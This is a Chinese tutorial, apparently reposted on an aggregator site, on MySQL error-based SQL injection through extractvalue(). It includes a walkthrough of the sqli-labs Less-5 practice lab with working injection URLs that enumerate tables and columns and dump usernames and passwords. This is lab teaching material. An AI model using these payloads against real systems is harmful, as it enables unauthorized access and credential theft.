extractvalue报错注入理论及实战

编程入门 行业动态 更新时间:2024-10-28 18:35:56

extractvalue<a href=https://www.elefans.com/category/jswz/34/1771188.html style=报错注入理论及实战"/>

extractvalue报错注入理论及实战

报错注入

什么是报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句,返回报错提示中包括数据库中的内容

如上图所示,通过group by的报错,我们可以知道列数是多少

输入正确的查询数据库的SQL语句,虽然可以执行成功,但是页面不显示数据库的名称

我们故意将database写为databasa,此时数据库的名称security在报错信息中显示了出来

因此可以利用报错的信息得到我们想要的信息。

1.通过floor()报错注入

2.通过extractvalue()报错注入

3.通过updatexml()报错注入

通过extractvalue()报错注入

extractvalue包含两个参数,第一个参数XML文档对象名称,第二个参数 路径

select extractvalue(doc,'/book/author/surname') from xml;

把查询参数格式符号写错

select extractvalue(doc,'`book/title') from xml;

可以看到'~book/title'在报错的时候是可以回显出来的,如果将这个地方换成SQL语句,他也会将结果以报错的形式反馈出来。

select extractvalue(doc,concat(0x7e,(select database()))) from xml;

错误提示成功报错出我们要查询的内容

extractvalue(1,2)//两个参数

concat(1,2)//两个参数

(select database())//要把命令写到括号里面,之后可以直接使用替换括号内容的方式进行查询。黄色括号里面

报错注入:一次只能返回32个字符问题,解决此问题可以使用substring函数

substring(1,2,3)三个参数,第一个参数是内容,第二个参数是要从第几个开始截取,第三个参数是要截取多少个

?id=1' and 1=extractvalue(1,concat(0x73,(select substring(group_concat(username,'-',password),25,30)from users))) --+

1.数据库 security
2.数据库 http://sqli-labs:8088/Less-5/?id=1' union select extractvalue (1,concat(0x7e,(select database())))  --+ 
3.数据表 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')))  --+ 
4.数据段 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))  --+ 
5.查询内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select group_concat(username,'-',password) from security.users)))  --+ 
6.截取内容 http://sqli-labs:8088/Less-5/?id=1' union select 1,2,extractvalue (1,concat(0x7e,(select substring(group_concat(username,'-',password),30,60) from security.users)))  --+ 
本次注入sqli-labs靶场的Less-5

首先按照页面提示,get请求拼接?id=1尝试,发现页面显示You are in......... 页面可以正常显示

按照我们注入的顺序,第一步先去分析是字符型还是数字型,如果是字符型要弄清楚闭合方式是什么,我们随便丢一个单引号尝试。根据报错提示,可以看出是字符型注入而且闭合方式是单引号

下一步去判断列数,使用order by函数。列数为3时可以正常显示,由此判定列数为3

构造SQL语句,查询数据库信息,查看回显内容位置,发现命令执行成功,但是页面没有回显内容。

直接尝试报错注入,使用extractvalue函数。构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,'~adb') --+

可以看到报错回显了内容信息,可以使用报错注入。

先查数据库,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+

拿到了数据库名称security

紧接着查询数据表,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

得到数据表 users,根据经验可以猜出账号与密码都在这个表里面

查询数据表里面的字段,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

拿到字段:id,username,password

都到这一步了,直接查询username,password这两个字段里面的信息,构造SQL语句

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'-',password) from security.users))) --+

得到了内容,但是显示的不完整,这是因为报错注入一次只能返回32个字符,直接使用substring函数帮助我们

http://sqli-labs:8088/Less-5/?id=1'union select 1,2,extractvalue(1,concat(0x7e,(select substring(group_concat(username,'-',password),30,30) from security.users))) --+

注入完成!

更多推荐

extractvalue报错注入理论及实战

本文发布于:2023-11-16 00:38:32,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1610577.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:报错   实战   理论   extractvalue

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!